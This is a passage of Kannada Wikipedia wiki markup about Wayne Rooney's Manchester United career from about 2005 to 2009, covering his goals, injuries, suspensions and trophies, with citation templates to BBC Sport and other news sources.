ಹೊಂದಿತ್ತು. ಆದರೆ, ಈ ಸಮಯದ ಸಣ್ಣ ಪ್ರೀಮಿಯರ್ [[ಲೀಗ್ ಕಪ್]] ಗೆದ್ದಿದ್ದ [[ಚೆಲ್ಸಿಯಾ]] ವಿರುದ್ಧ ಸೆಮಿ ಫೈನಲ್‌ನಲ್ಲಿ ಕೊನೆಯ ಅಂಚಿನಲ್ಲಿ ಸೋಲಿಸಲ್ಪಟ್ಟಿತು. ಮತ್ತು [[ಆರ್ಸೆನಾಲ್]] ವಿರುದ್ಧ [[ಎಫ್ಎ ಕಪ್‌ನ]] ಅಂತಿಮ ಪಂದ್ಯದಲ್ಲಿ ಗೋಲ್ ಇಲ್ಲದೆ ದಂಡದ ಶೂಟ್-ಔಟ್ ಸೋಲಿತು. ಏನೇ ಆದರೂ ರೂನೇ ಅವರು ಯುನೈಟೆಡ್‌ನ ಹೆಚ್ಚು ಲೀಗ್ ಸ್ಕೋರ್ ಪಡೆದ ವ್ಯಕ್ತಿಯಾಗಕಿದ್ದರು ಮತ್ತು ಈ ಋತುವಿನಲ್ಲಿ 11 ಗೋಲ್ ಪಡೆದರು. ಅಲ್ಲದೆ, [[ಪಿಎಫ್ಎ ವರ್ಷದ ಯುವ ಆಟಗಾರ ಪ್ರಶಸ್ತಿ]]ಯನ್ನೂ ಪಡೆದರು.<ref>[http://www.sporting-heroes.net/football-heroes/displayhero_club.asp?HeroID=43294 ವೇಯ್ನ್‌ ರೂನೀ – ಮ್ಯಾಂಚೆಸ್ಟರ್ ಯುನಿಟೆಡ್‌ ಎಫ್‌ಸಿ] ಫೂಟ್‌ಬಾಲ್‌‍ ಹೀರೋಸ್‌</ref> 2005 ರ ಸಪ್ಟೆಂಬರ್‌ನಲ್ಲಿ ರೂನೇ ಅವರು ಸ್ಪೇನ್‌ನ ವಿಲ್ಲರಿಯಲ್ ಜೊತೆ ಸಂಭವಿಸಿದ ಜಗಳದ ಕಾರಣ ಹೊರ ದಬ್ಬಲ್ಪಟ್ಟರು. (ಇದರಲ್ಲಿ ಗೋಲ್ ಇಲ್ಲದೆ ಆಟ ಮುಗಿಯಿತು). ಆತನನ್ನು ರೇಫ್ರಿ ಒಂದು ಉದ್ದೇಶರಹಿತ ತಪ್ಪಿಗಾಗಿ ಬುಕ್ ಮಾಡಿದ್ದಕ್ಕಾಗಿ ರೆಫ್ರಿ ವಿರುದ್ಧ ಚಪ್ಪಾಳೆ ಹೊಡೆದದ್ದು ಇದಕ್ಕೆ ಕಾರಣವಾಗಿತ್ತು. [[2006 ರ ಲೀಗ್ ಕಪ್‌ನಲ್ಲಿ]] ಅವರ ಮೊದಲ ವಿಜಯ ಬಂದಿತು. ಅಲ್ಲದೆ, [[ವಿಗಾನ್ ಅಥ್ಲೆಟಿಕ್]] ವಿರುದ್ಧ [[ಅಂತಿಮ ಪಂದ್ಯ]]ದಲ್ಲಿ ಯನೈಟೆಡ್ ಪಡೆದ 4-0 ಗೆಲುವಿಗೆ ಎರಡು ಬಾರಿ ಸ್ಕೋರ್ ಮಾಡಿದ ಕಾರಣ [[ಪಂದ್ಯ ಪುರುಷೋತ್ತಮ]]ರಾಗಿ ಆಯ್ಕೆಯಾದರು. [[ಪ್ರೀಮಿಯರ್ ಲೀಗ್‌ನ]]ಲ್ಲಿ ಏನೇ ಆದರೂ ಸಮಯದ ಒಂದು ಅನಿಯಮಿತ ಆರಂಭವು ಯುನೈಟೆಡ್ ಗೆ ಒಂದು ಅದ್ಧೂರಿತನವನ್ನು ತಂದುಕೊಟ್ಟಿತು. ಅವರ ಸಣ್ಣ ನಂಬಿಕೆಯೂ ಕೂಡ ಎಪ್ರಿಲ್ ನ ಅಂತ್ಯದಲ್ಲಿ ತಮ್ಮ ಸ್ವಗ್ರಹದಲ್ಲಿಯೇ ಚಾಂಪಿಯನ್ [[ಚೆಲ್ಸಿಯಾ]] ವಿರುದ್ಧ 3-0 ದಿಂದ ಸೋತಾಗ ಕೊನೆಗೊಂಡಿತು. ಮತ್ತು ಎರಡನೇ ಸ್ಥಾನ ಪಡೆಯಿತು. ಮುಂದೆ [[2005-06 ಋತುವಿನಲ್ಲಿ]] ರೂನೇ ಅವರ ಗೋಲ್ ಸ್ಕೋರ್ ಮಾಡುವುದು ಸುಧಾರಿಸಿತು. ಅವರು 36 ಪ್ರೀಮಿಯರ್ ಲೀಗ್ ಆಟಗಳಲ್ಲಿ 16 ಗೋಲ್‌ಗಳನ್ನು ಪಡೆದರು. 2006 ರ ಆಗಸ್ಟ್ 4 ರಂದು ಪೋರ್ಟೋ ವಿರುದ್ಧ ನಡೆದ [[ಅಮ್‌ಸ್ಟೆರ್ಡಾಮ್ ಪಂದ್ಯಾವಳಿ]]ಯಲ್ಲಿ [[ಪೋರ್ಟೋ]] ರಕ್ಷಕ [[ಪೆಪೆ]] ಅವರಿಗೆ ಮೊಣಕೈ ನಿಂದ ಹೊಡೆದ ಕಾರಣದಿಂದ ರೂನೇ ಅವರು ಹೊರ ದೂಡಲ್ಪಟ್ಟರು.<ref>{{cite news |date=4 August 2006 |url=http://news.bbc.co.uk/sport1/hi/football/teams/m/man_utd/5247208.stm |title=Rooney & Scholes off in friendly |publisher=[[BBC Sport]] |accessdate=17 November 2006}}</ref> ಅವರಿಗೆ [[ಎಫ್ಎ]] ದಿಂದ ಮೂರು ಪಂದ್ಯಗಳ ನಿಷೇಧ ಹೇರಿ ಶಿಕ್ಷೆ ನೀಡಲಾಯಿತು. ರೇಪ್ರೀ ರುಡ್ ಬೋಸೆನ್ ಅವರು 33 ಪುಟಗಳ ವರದಿ ನೀಡಿ ವಿವರಿಸಿ ನಿರ್ಧಾರ ತಿಳಿಸಿದರು.<ref>{{cite news |date=15 August 2006 |url=http://news.bbc.co.uk/sport1/hi/football/teams/m/man_utd/4796139.stm |title=Rooney & Scholes lose ban appeals|publisher=[[BBC Sport]] |accessdate=17 November 2006}}</ref> ರೂನೇ ಅವರು ಎಫ್ಎ ಗೆ ಪತ್ರ ಬರೆದು ಪ್ರತಿಭಟನೆ ಮಾಡುವುದಾಗಿ ಎಚ್ಚರಿಸಿದರು. ಉಳಿದ ಆಟಗಾರರಿಗೆ ನೀಡಲ್ಪಟ್ಟ ಶಿಕ್ಷೆಯಲ್ಲಿ ಕಡಿಮೆ ಇತ್ತು. ಆದ್ದರಿಂದ ಶಿಕ್ಷೆಯನ್ನು ರದ್ದುಪಡಿಸದಿದ್ದಲ್ಲಿ ತನ್ನ ಹಕ್ಕು ಉಪಯೋಗಿಸಲು ಎಫ್ಎ ಯ ಅನುಮತಿ ಕೋರಿದರು. ಆದರೆ, ಎಫ್ ಎ ಇಂತಹ ನಿರ್ಧಾರ ಪಡೆಯುವ ಯಾವುದೇ ಅಧಿಕಾರವನ್ನೂ ಹೊಂದಿರಲಿಲ್ಲ.<ref>{{cite news |author=Lawton, James |date=19 September 2006 |url=http://sport.independent.co.uk/football/comment/article1619219.ece |title=James Lawton: What's wrong with Wayne Rooney? |publisher=[[The Independent]] |accessdate=14 September 2007 |archive-date=5 ನವೆಂಬರ್ 2012 |archive-url=https://www.webcitation.org/6BwG0LuIp?url=http://www.independent.co.uk/sport/football/news-and-comment/james-lawton-whats-wrong-with-wayne-rooney-416589.html |url-status=dead }}</ref> [[ಚಿತ್ರ:Wayne Rooney 2.jpg|thumb|upright|left|ರೂನೀ ಮ್ಯಾಂಚೆಸ್ಟರ್ ಯುನಿಟೆಡ್‌‌ಗಾಗಿ ಆಡುತ್ತಿದ್ದಾರೆ]] 2006-07 ರ ಸಮಯದ ಮೊದಲ ಅರ್ಧದ ನಂತರದ ಋತುವಿನಲ್ಲಿ ರೋನೇ ಅವರು [[ಬೋಲ್ಟೊನ್ ವಂಡರರ್ಸ್]] ವಿರುದ್ಧ ಸ್ಕೋರ್ ಇಲ್ಲದ ಅನಿಯಮಿತ ಗೆರೆಯ 10 ಆಟವನ್ನು ಹ್ಯಾಟ್ರಿಕ್ ಪಡೆಯುವುದರೊಂದಿಗೆ ಮುಗಿಸಿದರು. ಮತ್ತು ಮುಂದಿನ ತಿಂಗಳ 2 ವರ್ಷಗಳ ಕಾಲ ಹೆಚ್ಚಿಸಲ್ಪಟ್ಟ ಒಪ್ಪಂದಕ್ಕೆ ಸಹಿ ಹಾಕಿದರು.<ref name="IHT">[https://web.archive.org/web/20061104190222/http://www.iht.com/articles/ap/2006/10/28/sports/EU_SPT_SOC_English_Roundup.php ರೂನೀ ಹ್ಯಾಟ್ ಟ್ರಿಕ್ ಹೆಲ್ಪ್ಸ್ ಮ್ಯಾನ್ ಯುನಿಟೆಡ್ ಟು 4–0 ವಿನ್] – ಇಂಟರ್‌ನ್ಯಾಶನಲ್ ಹೆರಾಲ್ಡ್ ಟ್ರಿಬ್ಯೂನ್‌, 28 ಅಕ್ಟೋಬರ್‌ 2006</ref> ಇದು ಅವರನ್ನು 2012 ರ ವರೆಗೆ ಯುನೈಟೆಡ್ ಜೊತೆ ಇರುವಂತೆ ಕಟ್ಟಿಹಾಕಿದೆ. ಎಪ್ರಿಲ್ ಅಂತ್ಯದಲ್ಲಿ ಎರಡು ಗೋಲುಗಳ ಜೊತೆ 8-3 ಮೊತ್ತದೊಂದಿಗೆ ಕ್ವಾರ್ಟರ್ ಫೈನಲ್ ನಲ್ಲಿ [[ರೋಮಾ]] ವಿರುದ್ಧ ಪಡೆದ ಗೆಲುವು ಹಾಗೂ ಇತರ ಎರಡು ತಂಡಗಳ ಜೊತೆಗೆ 3-2 ಮೊತ್ತದೊಂದಿಗೆ ಸೆಮಿ ಫೈನಲ್ ನಲ್ಲಿ [[ಎಸಿ ಮಿಲನ್]] ವಿರುದ್ಧ ಪಡೆದ ಗೆಲುವುಗಳು ಸೇರಿದಂತೆ ರೂನೇ ಅವರು ಆಡಿದ ಎಲ್ಲ ಸ್ಪರ್ಧೆಗಳಲ್ಲಿ ಒಟ್ಟು 23 ಗೋಲುಗಳನ್ನು ಪಡೆದಿದ್ದಾರೆ. ಅಲ್ಲದೆ, ಇದು ತಂಡದ ಜೋಡಿಯಾದ [[ಕ್ರಿಸ್ಚಿಯಾನೋ ರೊನಾಲ್ಡೋ]] ಜೊತೆಗೆ ತಂಡದ ಗೋಲ್ ಸ್ಕೋರಿಂಗ್ ಅಗ್ರಸ್ಥಾನದಲ್ಲಿ ಸೇರಿಸಿತು.<ref>{{cite news |title=Man Utd 3–2 AC Milan |url=http://news.bbc.co.uk/sport1/hi/football/europe/6582631.stm |publisher=BBC Sport |date=24 April 2007 |accessdate=7 June 2008 }}</ref> ಈ ಸಮಯದ ಅಂತ್ಯದಲ್ಲಿ ಅವರು ಒಟ್ಟು 14 ಲೀಗ್ ಗೋಲುಗಳನ್ನು ಪಡೆದಿದ್ದರು.<ref>[http://www.sporting-heroes.net/football-heroes/displayhero_club.asp?HeroID=43295 ವೇಯ್ನ್‌ ರೂನೀ – ಮ್ಯಾಂಚೆಸ್ಟರ್ ಯುನಿಟೆಡ್‌ ಎಫ್‌ಸಿ] ಫೂಟ್‌ಬಾಲ್‌‍ ಹೀರೋಸ್‌</ref> ರೂನೇ ಅವರು [[2006-07ರ ಋತುವಿನಲ್ಲಿ]] ತಮ್ಮ ಪ್ರಥಮ [[ಪ್ರೀಮಿಯರ್ ಲೀಗ್]] ಪ್ರಶಸ್ತಿ ವಿಜೇತರ ಪದಕ ಪಡೆದರು. ಆದರೆ, ಇನ್ನೂ [[ಎಫ್ಎ ಕಪ್]] ವಿಜೇತರ ಮೆಡಲ್ ಪಡೆಯಬೇಕಾಗಿದೆ. ಅಲ್ಲದೆ, ಅವರು [[2007 ರ ಎಫ್ಎ ಕಪ್ ಅಂತಿಮ ಪಂದ್ಯ]]ದಲ್ಲಿ ರನ್ನರ್-ಅಪ್ ಮೆಡಲ್ ಪಡೆಯಬೇಕಾಗಿತ್ತು. ರೂನೇ ಅವರು [[ರುಡ್ ವ್ಯಾನ್ ನಿಸ್ಟೆಲರೂ]] ಅವರಿಂದ ಕಾಲಿ ಮಾಡಲ್ಪಟ್ಟ 10 ಕ್ಕಿಂತಲೂ ಹೆಚ್ಚು ಟೀ ಶರ್ಟ್ ಗಳನ್ನು ಪಡೆದಿದ್ದಾರೆ ಎಂದು ಸಮಯದ ಉತ್ತರ ಭಾಗದಲ್ಲಿ ಯುನೈಟೆಡ್ ಘೋಷಿಸಿತು. ಈ ಜೆರ್ಸಿಗಳನ್ನು [[ರಿಯಲ್ ಮ್ಯಾಡ್ರಿಡ್]] ಗಾಗಿ ಒಂದು ವರ್ಷದ ಮೊದಲು ರುಡ್ ಅವರು ಬಿಟ್ಟುಹೋಗಿದ್ದರು. ರುಡ್ ಅವರಿಗೆ 2007 ರ ಜೂನ್ 28 ರಂದು ನಡೆದ ಒಂದು ಪತ್ರಿಕಾಗೋಷ್ಠಿಯಲ್ಲಿ ಯುನೈಟೆಡ್ ನ ಸ್ಟ್ರೈಕರ್ ಆಗಿದ್ದ 1960 ರಿಂದ 1970 ರಲ್ಲಿ ಕ್ಲಬ್ ನಲ್ಲಿ ಅನುಭವ ಪಡೆದಿದ್ದ [[ಡೇನಿಸ್ ಲಾ]] ಅವರು ಶರ್ಟ್ ನೀಡಿದ್ದರು.<ref>{{cite news |title=Rooney delighted with new number |url=http://www.manutd.com/default.sps?pagegid={B4CEE8FA-9A47-47BC-B069-3F7A2F35DB70}&newsid=440380 |publisher=Manchester United FC |date=30 June 2007 |accessdate=30 June 2007}}</ref> [[ಚಿತ್ರ:Wayne Rooney UEFA Champions League.jpg|thumb|upright|ರೂನೀ ಸೆಲ್ಟಿಕ್ ವಿರುದ್ಧ ಚಾಂಪಿಯನ್ಸ್ ಲೀಗ್ ಆಟದಲ್ಲಿ]] 2007 ಆಗಸ್ಟ್ 12 ರಂದು ನಡೆದ ಯುನೈಟೆಡ್ ನ ಆರಂಭದ ದಿನ ರೀಡಿಂಗ್ ತಂಡದ ವಿರುದ್ಧ ಗೋಲ್ ಇಲ್ಲದೆ ಸಮವಾದ ಪಂದ್ಯದಲ್ಲಿ ರೂನೇ ಅವರು ತಮ್ಮ ಎಡಗಾಲಿನ ಎಲುಬು ಮುರಿತಕ್ಕೊಳಗಾದರು. ಬಲಗಾಲಿನಲ್ಲಿಯೂ ಇಂತಹದ್ದೇ ಗಾಯದಿಂದ ಅವರು 2004 ರಲ್ಲಿ ನೋವನ್ನನುಭವಿಸಿದ್ದರು.<ref name="bbcsport">[http://news.bbc.co.uk/sport1/hi/football/3837995.stm ರೂನೀ ಫೆಸಸ್ ಟು ಮಂತ್ಸ್ ಔಟ್] – ಬಿಬಿಸಿ ಸ್ಪೋರ್ಟ್‌, 26 ಜೂನ್‌ 2004</ref> 6 ವಾರಗಳ ಕಾಲ ತಂಡದಿಂದ ಹೊರಗುಳಿದ ಅವರು ಯುನೈಟೆಡ್ ಗೆ ಹಿಂತಿರುಗಿ 1-0 ಚಾಂಪಿಯನ್ ಲೀಗ್ ಗ್ರುಪ್ ಹಂತದಲ್ಲಿ ರೋಮಾ ವಿರುದ್ಧ ಅಕ್ಟೋಬರ್ 2 ರಂದು ನಡೆದ ಪಂದ್ಯದಲ್ಲಿ ಕೇವಲ ಒಂದು ಗೋಲ್ ಪಡೆಯುವುದರ ಮೂಲಕ ವಿಜಯ ಸಾಧಿಸಿದರು. ಏನೇ ಆದರೂ ಕೂಡ ತಂಡಕ್ಕೆ ಹಿಂತಿರುಗಿದ ಒಂದು ತಿಂಗಳಿನಲ್ಲಿಯೇ ನವೆಂಬರ್ 9 ರಂದು ತರಬೇತಿ ಪಡೆಯುತ್ತಿದ್ದಾಗ ತಮ್ಮ ಪಾದದ ಕೀಲಿನ ಗಾಯದಿಂದ ಮತ್ತೆ ನರಳಿದರು. ಇದರಿಂದ ಇನ್ನೂ ಹೆಚ್ಚಿನ ಎರಡು ವಾರಗಳ ಸಮಯವನ್ನು ಕಳೆದುಕೊಂಡರು. ವಾಪಸ್ಸಾದ ನಂತರ ಅವರ ಪ್ರಥಮ ಪಂದ್ಯ [[ಫುಲ್ಹಮ್]] ಎದುರು ಡಿಸೆಂಬರ್ 3 ರಂದು ನಡೆಯಿತು. ಇದರಲ್ಲಿ ಅವರು 70 ನಿಮಿಷಗಳ ಕಾಲ ಆಟವಾಡಿದರು.<ref>{{cite news |title=Rooney return date penciled in |url=http://www.teamtalk.com/football/preview/0,16374,1778_2900311,00.html |publisher=Teamtalk |date=23 November 2007 |accessdate=23 November 2007 |archive-date=25 ಡಿಸೆಂಬರ್ 2007 |archive-url=https://web.archive.org/web/20071225165117/http://www.teamtalk.com/football/preview/0,16374,1778_2900311,00.html |url-status=dead }}</ref> ರೂನೇ ಅವರು ಒಟ್ಟು 10 ಆಟಗಳನ್ನು ಕಳೆದುಕೊಂಡರು ಮತ್ತು 2007-08 ರ ಋತುವಿನಲ್ಲಿ ಒಟ್ಟು 18 ಗೋಲುಗಳನ್ನು (ಇದರಲ್ಲಿ 12 ಗೋಲುಗಳು ಲೀಗ್‌ನಲ್ಲಿ) ಸಂಪಾದಿಸಿದರು. ಯುನೈಟೆಡ್ ತಂಡವು ಪ್ರೀಮಿಯರ್ ಲೀಗ್ ಹಾಗೂ ಚಾಂಪಿಯನ್ ಲೀಗ್‌ಗಳನ್ನು ಗೆದ್ದರು, ಮತ್ತು ಲೀಗ್‌ನಲ್ಲಿ ಈ ಸ್ಪರ್ಧೆಯ ಮೊದಲ [[ಆಲ್-ಇಂಗ್ಲೀಷ್ ಅಂತಿಮ]] ಪಂದ್ಯದಲ್ಲಿ ಪ್ರತಿಸ್ಪರ್ಧಿ [[ಚೆಲ್ಸಿಯಾ]] ವಿರುದ್ಧ ಗೆದ್ದರು. 2008 ರ ಅಕ್ಟೋಬರ್ 4 ರಂದು ಬ್ಲಾಕ್ ಬರ್ನ್ ತಂಡದ ವಿರುದ್ಧ ಜಯಗಳಿಸುತ್ತಿದ್ದಂತೆ ರೂನೇ ಅವರು ಲೀಗ್ ಇತಿಹಾಸದಲ್ಲಿ 200 ತೋರಿಕೆಗಳನ್ನು ಕಂಡ ಅತ್ಯಂತ ಕಿರಿಯ ಆಟಗಾರ ಎಂಬ ಹೆಗ್ಗಳಿಕೆ ಪಡೆದರು.<ref>[http://www.insideworldsoccer.com/2008/10/premier-league-week-7-round-up.html ರೂನೀ ಬಿಕಮ್ಸ್ ಯಂಗೆಸ್ಟ್ ಪ್ರೀಪಿಯರ್ ಲೀಗ್ ಪ್ಲೇಯರ್ ಟು ಪ್ಲೇ 200 ಗೇಮ್ಸ್]</ref> ಜನವರಿ 14 ರಂದು ಕೇವಲ 54 ಸೆಕೆಂಡ್ ಗಳಲ್ಲಿ ಒಂದು ಗೋಲ್ ಮಾಡುವುದರ ಮೂಲಕ [[ವಿಗಾನ್ ಅಥ್ಲೆಟಿಕ್]] ವಿರುದ್ಧ 1-0 ಅಂತರದಲ್ಲಿ ಗೆಲುವು ಸಾಧಿಸಿದರು. ಆದರೆ, ರೂನೇ ಅವರು 8 ನಿಮಿಷಗಳಲ್ಲಿ ಮೊಳಕಾಲಿನ ಹಿಂಬದಿಯ ಸ್ನಾಯು ಕಾಯಿಲೆಗೆ ತುತ್ತಾದರು. ಇವರ ಬದಲು ಬಂದ [[ಮಾರ್ಲೋಸ್ ಟೆವೆಜ್]] ಅವರು ಕೂಡ ಆಟಕ್ಕೆ ಬಂದ ಕೆಲವೇ ಸಮಯದಲ್ಲಿ ಗಾಯಗೊಂಡರು. ಆದರೂ, ತಂಡದಲ್ಲಿಯೇ ಉಳಿದರು.<ref name="wigan">[http://news.bbc.co.uk/sport2/hi/football/teams/m/man_utd/7829836.stm ಮ್ಯಾನ್ ಸಫರ್ ರೂನೀ ಇಂಜುರಿ ಬ್ಲೋ] – ಬಿಬಿಸಿ ಸ್ಪೋರ್ಟ್‌, 14 ಜನವರಿ 2009</ref> ರೂನೇ ಅವರು ಮೂರು ವಾರಗಳ ಕಾಲ ಕ್ರೀಡೆಯಿಂದ ದೂರ ಉಳಿದರು. ಇದರಿಂದ ಅವರು [[ಲೀಗ್ ಕಪ್]], [[ಎಫ್ಎ ಕಪ್]] ಹಾಗೂ 4 ಪ್ರೀಮಿಯರ್‌ಗಳ ತಲಾ ಒಂದು ಪಂದ್ಯಗಳಿಂದ ವಂಚಿತರಾದರು.<ref name="telegraph2">[http://news.bbc.co.uk/sport2/hi/football/teams/m/man_utd/7829836.stm ವೇಯ್ನ್‌ ರೂನೀ ಔಟ್ ಫಾರ್ ಥ್ರೀ ವೀಕ್ಸ್ ವಿತ್ ಹ್ಯಾಮ್‌ಸ್ಟ್ರಿಂಗ್ ಇಂಜುರಿ] – ''ದ ಟೆಲೆಗ್ರಾಫ್‌,'' 14 ಜನವರಿ 2009</ref> . 2009 ರ ಏಪ್ರಿಲ್ 25 ರಂದು ರೂನೇ ಅವರು ಈ ಸಮಯದಲ್ಲಿನ ಅಂತಿಮ ಲೀಗ್ ನ ಒಂದು ಪಂದ್ಯದಲ್ಲಿ ಸ್ಕೋರ್ ಮಾಡಿದರು. ಯುನೈಟೆಡ್ ತಂಡವು ಎರಡನೇ ಅರ್ಧದಲ್ಲಿ 5 ಗೋಲುಗಳನ್ನು ಬಾರಿಸಿತು ಮತ್ತು ಪಂದ್ಯವನ್ನು 5-2 ರ ಮೂಲಕ ಗೆದ್ದುಕೊಂಡಿತು. 2009 ರ ಏಪ್ರಿಲ್ 25 ರಂದು ರೂನೇ ಅವರು ಈ ಸಮಯದಲ್ಲಿನ ಅಂತಿಮ ಲೀಗ್ ನ ಒಂದು ಪಂದ್ಯದಲ್ಲಿ ಸ್ಕೋರ್ ಮಾಡಿದರು.<ref name="Man Utd 5-2 Tottenham">[http://news.bbc.co.uk/sport1/hi/football/eng_prem/8000573.stm ಮ್ಯಾನ್ Utd 5–2 ಟೋಟೆನ್‌ಹ್ಯಾಮ್] – ''ಬಿಬಿಸಿ ಸ್ಪೋರ್ಟ್‌,'' 25 ಏಪ್ರಿಲ್‌ 2009</ref> ಯುನೈಟೆಡ್ ತಂಡವು ಎರಡನೇ ಅರ್ಧದಲ್ಲಿ 5 ಗೋಲುಗಳನ್ನು ಬಾರಿಸಿತು ಮತ್ತು ಪಂದ್ಯವನ್ನು 5-2 ರ ಮೂಲಕ ಗೆದ್ದುಕೊಂಡಿತು.ರೋನಾಲ್ಡೋ ಅವರು ಲೀಡಿಂಗ್ ಸ್ಕೋರರ್ ಆಗಿದ್ದರೂ ಅವರ ಹಿಂದೆಯೇ ರೂನೇ ಇದ್ದರು. ಮತ್ತೊಮ್ಮೆ ಅವರು ಲೀಗ್ ನಲ್ಲಿ 12 ಗೋಲುಗಳನ್ನು ಸೇರಿಸಿಕೊಂಡರು. ==== 2009–10 ==== ರೂನೇ ಅವರು ಹೊಸ ಅಭಿಯಾನವನ್ನು ಸ್ಕೋರ್ ಮಾಡುವುದರ ಮೂಲಕ, 2009 ರ ಕಮ್ಯುನಿಟಿ ಶೀಲ್ಡ್‌ನಲ್ಲಿ 90 ನೇ ನಿಮಿಷದಲ್ಲಿ ಒಂದು ಗೋಲ್ ಪಡೆಯುವುದರ ಮೂಲಕ ಆರಂಭಿಸಿದರು. ಆದರೂ, ಯುನೈಟೆಡ್ ತಂಡವು ಚೆಲ್ಸಿಯಾ ತಂಡದ ವಿರುದ್ಧ ಪೆನಾಲ್ಟಿಯಲ್ಲಿ ಆಟದಲ್ಲಿ ಸೋತಿತು. ರೂನೇ ಅವರು [[2009-10]] ರ ಸಮಯದಲ್ಲಿ [[ಬರ್ಮಿಂಗ್‌ಹ್ಯಾಮ್ ಸಿಟಿ]] ತಂಡದ ವಿರುದ್ಧ ನಡೆದ ಆಂರಂಭಿಕ ಪಂದ್ಯದಲ್ಲಿ ಕೇವಲ ಒಂದೇ ಗೋಲು ಪಡೆದರು. ಈ ಮೂಲಕ ಯುನೈಟೆಡ್ ತಂಡದಲ್ಲಿ ಅವರು ಗಳಿಸಿದ ಗೋಲುಗಳ ಸಂಖ್ಯೆ 99 ಆಯಿತು<ref name="Man Utd 1-0 Birmingham">ಮ್ಯಾನ್‌ Utd [http://news.bbc.co.uk/sport1/hi/football/eng_prem/8197957.stm 1–0 ಬರ್ಮಿಂಗ್‌ಹ್ಯಾಮ್‌] – ''ಬಿಬಿಸಿ ಸ್ಪೋರ್ಟ್‌,'' 16 ಆಗಸ್ಟ್‌ 2009</ref> ಅವರು ಮುಂದಿನ ಪಂದ್ಯದಲ್ಲಿ ಸ್ಕೋರ್ ಮಾಡುವಲ್ಲಿ ವಿಫಲರಾದರು. [[ಟರ್ಫ್‌ಮೂರ್]]‌ನಲ್ಲಿ ಹೊಸದಾಗಿ ಭಡ್ತಿ ಪಡೆದ ತಂಡವಾದ [[ಬರ್ನ್ಲೀ]] ವಿರುದ್ಧ 1-0 ಅಂತರದಲ್ಲಿ ಐತಿಹಾಸಿಕ ಸೋಲು ಅನುಭವಿಸಿದರು. 2009 ರ ಆಗಸ್ಟ್ 22 ರಂದು ಅವರು ಕ್ಲಬ್ ಗಾಗಿ 100 ಗೋಲು ಸಂಪಾದಿಸಿದ 20 ನೇ ಮ್ಯಾಂಚೆಸ್ಟರ್ ಯುನೈಟೆಡ್ ಆಟಗಾರ ಎಂಬ ಹೆಗ್ಗಳಿಕೆಗೆ ಪಾತ್ರರಾದರು. ವಿಗಾನ್ ಅಥ್ಲೆಟಿಕ್ ನಲ್ಲಿ 5-0 ಅಂತರದಲ್ಲಿ ಪಡೆದ ಗೆಲುವಿನ ಪಂದ್ಯದಲ್ಲಿ ಎರಡು ಬಾರಿ ಬಾಲನ್ನು ನೆಟ್‌ಗೆ ನುಗ್ಗಿಸುವ ಮೂಲಕ ಈ ಸಾಧನೆ ಮಾಡಿದರು. ಇದೇ ಪಂದ್ಯದಲ್ಲಿ ಮತ್ತೊಬ್ಬ ಆಟಗಾರ [[ಮೈಕಲ್ ಓವೆನ್]] ಅವರು ಯುನೈಟೆಡ್ ತಂಡದಲ್ಲಿ ಪ್ರಥಮ ಗೋಲು ಗಳಿಸಿದರು.<ref name="Wigan 0-5 Man Utd">[http://news.bbc.co.uk/sport1/hi/football/eng_prem/8209298.stm ವಿಗನ್ 0–5 ಮ್ಯಾನ್‌ Utd] – ''ಬಿಬಿಸಿ ಸ್ಪೋರ್ಟ್‌,'' 22 ಆಗಸ್ಟ್‌ 2009</ref> . [[ಚಿತ್ರ:Wayne Rooney vs Everton 2009.jpg|thumb|left|upright|ರೂನೀ ನವೆಂಬರ್‌ 2009 ಎವರ್ಟೋನ್‌ ವಿರುದ್ಧದ ಆಟದಲ್ಲಿ]] 2009 ರ ಆಗಸ್ಟ್ 29 ರಂದು ಯುನೈಟೆಡ್ ತಂಡವು [[ಆರ್ಸೆನಾಲ್]] ಜೊತೆಗೆ [[ಓಲ್ಡ್ ಟ್ರಾಫರ್ಡ್‌]]ನಲ್ಲಿ ಆಡಿತು. [[ಆಂಡ್ಯ್ರೂ ಆರ್ಶ್‌ವಿನ್]] ಅವರು ಗನ್ನರ್ ಗಿಂತ ಮುಂದೆ ಹೊಡೆದಾಗ ಸಿಕ್ಕ ಪೆನಾಲ್ಟಿ ಗೋಲ್ ಅವಕಾಶದಲ್ಲಿ ರೂನೇ ಸ್ಕೋರ್ ಮಾಡಿದರು. [[ಅಬು ದೇಬಿ]] ಅವರು ತಮ್ಮದೇ ಸ್ವಂತ ಒಂದು ಗೋಲ್ ಮಾಡಿದಾಗ ಮ್ಯಾಂಚೆಸ್ಟರ್ ಯುನೈಟೆಡ್ ಗೆ 2-1 ರಿಂದ ಪಂದ್ಯ ಮುಕ್ತಾಯವಾಯಿತು.<ref name="Man Utd 2-1 Arsenal">[http://news.bbc.co.uk/sport2/hi/football/eng_prem/8223417.stm ಮ್ಯಾನ್‌ Utd 2–1 ಅರ್ಸೆನಲ್] – ''ಬಿಬಿಸಿ ಸ್ಪೋರ್ಟ್‌,'' 29 ಆಗಸ್ಟ್‌ 2009</ref> ಇದಾದ 5 ದಿನಗಳ ನಂತರ [[ಅರ್ಸೆನಲ್]] ವಿರುದ್ಧ ಪೆನಾಲ್ಟಿ ಗೋಲ್ ಕುರಿತು ಪ್ರತಿಕ್ರಿಯೆ ನೀಡಿದ ರೂನೇ ಅವರು: “ನನ್ನ ಆಟವನ್ನು ವೀಕ್ಷಿಸುವ ಪ್ರತಿಯೊಬ್ಬರಿಗೂ ನಾನೊಬ್ಬ ಪ್ರಾಮಾಣಿಕ ಆಟಗಾರ ಎಂಬುದು ತಿಳಿದಿದೆ. ನಾನು ಆಟವನ್ನು ನನಗೆ ಸಾಧ್ಯವಾದಷ್ಟು ಪ್ರಾಮಾಣಿಕವಾಗಿಯೇ ಆಡುತ್ತೇನೆ. ಒಮ್ಮೆ ರೇಫ್ರಿ ಪೆನಾಲ್ಟಿ ನೀಡಿದರೆ ನೀವು ಮಾಡಬೇಕಾದ್ದು ಏನೂ ಇರುವುದಿಲ್ಲ” ಎಂದರು.<ref>{{Cite news|url=http://news.bbc.co.uk/sport2/hi/football/eng_prem/8236483.stm|title=I'm an honest player, says Rooney|work=|date=3 September 2009|accessdate=4 September 2009}}</ref> 2009 ರ ನವೆಂಬರ್ 28 ರಂದು ರೂನೇ ಅವರು ಮೂರು ವರ್ಷಗಳಲ್ಲಿ ಪ್ರಥಮ ಹ್ಯಾಟ್ರಿಕ್ ಸಾಧಿಸಿದರು. ಇದರಲ್ಲಿ [[ಪೋರ್ಟ್ಸ್‌ಮೌಸ್]] ವಿರುದ್ಧ 4-1 ರ ಜಯ ಗಳಿಸಿತು. ಇವುಗಳಲ್ಲಿ 2 ಪೆನಾಲ್ಟಿ ಗೋಲ್ 